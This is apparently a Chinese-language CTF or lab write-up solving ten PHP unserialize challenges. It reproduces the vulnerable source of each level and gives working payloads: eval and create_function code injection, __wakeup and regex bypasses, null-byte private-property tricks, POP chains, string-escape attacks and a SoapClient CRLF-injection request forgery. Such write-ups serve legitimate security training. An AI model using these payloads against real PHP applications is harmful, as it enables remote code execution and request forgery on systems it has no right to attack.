level-1
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
<br><a href="../level2">点击进入第二关</a>
这是一个基础的反序列化过程。对flag进行反序列化,再调用action函数
?flag=O:1:"a":1:{s:3:"act";s:24:"show_source('flag.php');";}

level-2
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>
<br><a href="../level3">点击进入第三关</a>
这关也很简单,出现了一个魔术方法_construct
__construct()被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法。但是在序列化和反序列化过程是不会触发的。
?param=O:7:"mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}

level-3
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>
这题与上题方法一样,只是换了一个传参方式,将get换为了cookie值

level-4
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>
这题需要利用php的数组回调机制和create_function代码;
回调是指将把一个函数当作参数传给另一个函数,其中最常见的就是数组回调;
数组回调通常用于调用某个类的方法。它的标准格式是:
array($object, 'methodName')
// 或者
array('ClassName', 'staticMethodName')
create_function是 PHP 早期用来创建匿名函数的函数,但在 PHP 7.2 中被废弃,PHP 8.0 中被彻底移除,主要原因就是它极其不安全,容易引发代码注入;
我们需要先通过func:_desturct去触发unserialize($this->key)();再通过数组回调去调用get_flag,然后再利用create_function来读取flag。
这里需要了解一下_desturct函数:在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。
最后就是构造upload
php
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo (serialize($a2));
运行后得到
php
O:4:"func":1:{s:3:"key";s:136:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:34:"}include("flag.php");echo $flag;//";s:6:"action";s:15:"create_function";}i:1;s:8:"get_flag";}";}

level-5
php
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
这题目标类是secret,属性只有一个file,默认值为index.php;
这里使用了_wekeup:在对象反序列化时,__wakeup() 会优先于 __destruct() 执行。它会强制将file的值重置为index.php,而我们需要将file的值转变为flag.php;但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__wakeup()方法不会被触发,也就是secret的属性为1,我们只需要大于1就行了;
我们需要通过cmd进行输入,这里对cmd进行了正则匹配:如果出现了'O','C' 程序将会终止并输出Are you daydreaming?;如果成功绕过将会对cmd进行反序列化;
这里通过破坏这个匹配模式来绕过
php
正则表达式 /[oc]:\d+:/i 的意思是:匹配 o 或 c,紧接着 :,紧接着数字,紧接着 :。
我们需要破坏这个匹配模式。最常用的方法是利用 PHP 序列化字符串解析的宽容性,在数字前加一个 + 号。
最后构造payload:
php
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
由于+再url传输中通常被当作空格处理,所以我们进行一下url编码
php
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

level-6
php
<?php
highlight_file(__FILE__);
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
这题用到了私有属性和str_replace函数;
private属性序列化的时候格式是 %00类名%00成员名,但%被replace全部替换成了daydream,所以我们需要想办法绕过%,可以使用\00代替%00实现绕过
然后开始构造payload
php
<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$pa=new secret("system('sort flag.php');");
echo serialize($pa),"\n";
生成
php
O:6:"secret":1:{s:12:" secret comm";s:24:"system('sort flag.php');";}
这里因为%00被url解码后是不可见字符,所以要在类名左右加上\00且要将上面的小写s改成S,使用了大写 S,PHP 解析器在读取 S:12:"..." 时,会将 \00 解释为 Null 字节,而不是寻找 URL 编码的 %00。
php
O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}

level-7
php
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>
这题结合了pop链的构造和_call魔术方法;
_call:
在对象中调用一个不可访问方法时,__call() 会被调用。也就是说你调用了一个对象中不存在的方法,就会触发。
调用一个错误的方法的时候(或者说是没有这个方法,不可访问的方法),触发。
php
<?php
class User{
public function __call($arg1,$arg2) 当调用不存在的方法时(callxxx),$arg1会自动赋值为callxxx
{
echo "$arg1,$arg2[0]";当调用不存在的方法时(callxxx),$arg1会自动赋值为callxxx,$arg2赋值为a
}
}
$test = new User();
$test->callxxx('a'); //callxxx 不存在
?>
我们需要触发my类的_call方法,且满足其条件来获取flag;需要利用 you 类的 __destruct 方法作为跳板来构建 POP 链。
先将my类实列化到body和pro中,由于 my 类中不存在 yourname 方法,PHP 会自动触发 my 类的 __call 魔术方法。
然后开始构造payload
php
<?php
class you {
public $body;
public $pro = '';
}
class my {
public $name;
}
// 1. 构造 my 对象
$my_obj = new my();
$my_obj->name = 'myname';
// 2. 构造 you 对象
$you_obj = new you();
$you_obj->body = $my_obj; // 将 my 对象赋值给 $body
$you_obj->pro = 'yourname'; // 设置要调用的方法名
// 3. 序列化并输出
// 注意:private 属性在序列化时会自动处理,我们直接赋值即可
$payload = serialize($you_obj);
echo $payload;
输出O:3:"you":2:{s:4:"body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:3:"pro";s:8:"yourname";}
由于 private 属性名包含 \0 (Null 字节),在通过 GET 请求发送时,通常需要进行 URL 编码。\0 会被编码为 %00。然后再根据上题的思路得到最终的payload
php
O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}

level-8
php
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
这题主要考察字符串逃逸,先了解一下什么是字符串逃逸;简单来说就是为了安全将序列化后的字符串做一些关键词替换后再反序列化,而字符串被替换后长度发生了变换,就可以在精心构造的payload中将造成反序列化字符串逃逸,到达攻击目的; 一般在数据先后经过serialize()和unserialize()处理,在这个过程中字符串变多或变少的时侯可能存在反序列化的属性逃逸;
而我们根据这题来看,我们目标是触发escaping;从str_replace来看,只要出现flag和php就会被替换成hack,需从php转换为hack长度增加1入手,利用这点来构造payload,而我们需要增益出去的部分就是$profile->pass=='escaping'**;**计算出需要挤出去的字符串长度,来决定需要多少个php
构造payload
php
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
return str_replace($safe,"hack",$name);
}
class test{
var $user;
function __construct($user){
$this->user=$user;
}
}
$a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
//$a=new test('1'); O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}
//逃逸内容:
//";s:4:"pass";s:8:"escaping";}
//计算需要链:
//phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
$param=serialize($a);
echo $param,"\n";
$profile=unserialize(filter($param));
echo $profile->pass,"\n";
if ($profile->pass=='escaping'){
echo 1;
}
得到
php
O:4:"test":1:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";}
需要增益出去的字符串";s:4:"pass";s:8:"escaping";},长度为29,所以需要29个php

level-9
php
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
这题考察pop链和多个魔术方法,这题涉及的魔术方法有:
php
__invoke() 当一个类被当作函数执行时调用此方法。
__construct() 在创建对象时调用此方法
__toString() 在一个类被当作字符串处理时调用此方法
__wakeup() 当反序列化恢复成对象时调用此方法
__get() 当读取不可访问或不存在的属性的值会被调用
构造pop链的关键是pop链的顺序,首先我们的目标是flag.php,所以说终点是_invoke(),然后根据终点逆推得到pop链的顺序为入口**:** __wakeup,跳板一:__toString,跳板二:__get,终点:__invoke;
最后就是构造payload
php
<?php
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Modifier();
$b=new Show();
$c=new Test();
$b->source=$b;
$b->source->str=$c;
$c->p=$a;
echo "\n";
echo urlencode(serialize($b));
得到
php
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

level-10

这题考察php原生类反序列化,需要去了解一下soap协议;
SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换;
这题我们需要找到php.ini文件找到soap,将其前面的;去掉。核心思路是利用 PHP 内置的 SoapClient 类进行反序列化攻击,通过构造特定的请求,利用 CRLF 注入 伪造 HTTP 请求头和包体,从而触发**flag.php**的写入逻辑。
调用不存在的**daydream()** 触发 __call,通过call来发送http请求;利用user_agent中的CRLF(\r\n)注入,修改http请求头,然后再伪造User-Agent: admin 和**POST pass=password。**
<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
$b = str_replace('&','&',$b);
echo urlencode($b);
运行后得到payload
O%3A10%3A%22SoapClient%22%3A36%3A%7Bs%3A15%3A%22%00SoapClient%00uri%22%3Bs%3A4%3A%22bbba%22%3Bs%3A17%3A%22%00SoapClient%00style%22%3BN%3Bs%3A15%3A%22%00SoapClient%00use%22%3BN%3Bs%3A20%3A%22%00SoapClient%00location%22%3Bs%3A34%3A%22http%3A%2F%2Fshiyan%2FSER%2Flevel10%2Fflag.php%22%3Bs%3A17%3A%22%00SoapClient%00trace%22%3Bb%3A0%3Bs%3A23%3A%22%00SoapClient%00compression%22%3BN%3Bs%3A15%3A%22%00SoapClient%00sdl%22%3BN%3Bs%3A19%3A%22%00SoapClient%00typemap%22%3BN%3Bs%3A22%3A%22%00SoapClient%00httpsocket%22%3BN%3Bs%3A19%3A%22%00SoapClient%00httpurl%22%3BN%3Bs%3A18%3A%22%00SoapClient%00_login%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_password%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_use_digest%22%3Bb%3A0%3Bs%3A19%3A%22%00SoapClient%00_digest%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_proxy_host%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_proxy_port%22%3BN%3Bs%3A24%3A%22%00SoapClient%00_proxy_login%22%3BN%3Bs%3A27%3A%22%00SoapClient%00_proxy_password%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_exceptions%22%3Bb%3A1%3Bs%3A21%3A%22%00SoapClient%00_encoding%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_classmap%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_features%22%3BN%3Bs%3A31%3A%22%00SoapClient%00_connection_timeout%22%3Bi%3A0%3Bs%3A27%3A%22%00SoapClient%00_stream_context%22%3Bi%3A0%3Bs%3A23%3A%22%00SoapClient%00_user_agent%22%3Bs%3A91%3A%22admin%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Apass%3Dpassword%22%3Bs%3A23%3A%22%00SoapClient%00_keep_alive%22%3Bb%3A1%3Bs%3A23%3A%22%00SoapClient%00_ssl_method%22%3BN%3Bs%3A25%3A%22%00SoapClient%00_soap_version%22%3Bi%3A1%3Bs%3A22%3A%22%00SoapClient%00_use_proxy%22%3BN%3Bs%3A20%3A%22%00SoapClient%00_cookies%22%3Ba%3A0%3A%7B%7Ds%3A29%3A%22%00SoapClient%00__default_headers%22%3BN%3Bs%3A24%3A%22%00SoapClient%00__soap_fault%22%3BN%3Bs%3A26%3A%22%00SoapClient%00__last_request%22%3BN%3Bs%3A27%3A%22%00SoapClient%00__last_response%22%3BN%3Bs%3A34%3A%22%00SoapClient%00__last_request_headers%22%3BN%3Bs%3A35%3A%22%00SoapClient%00__last_response_headers%22%3BN%3B%7D
同过param传入后再访问flag.txt。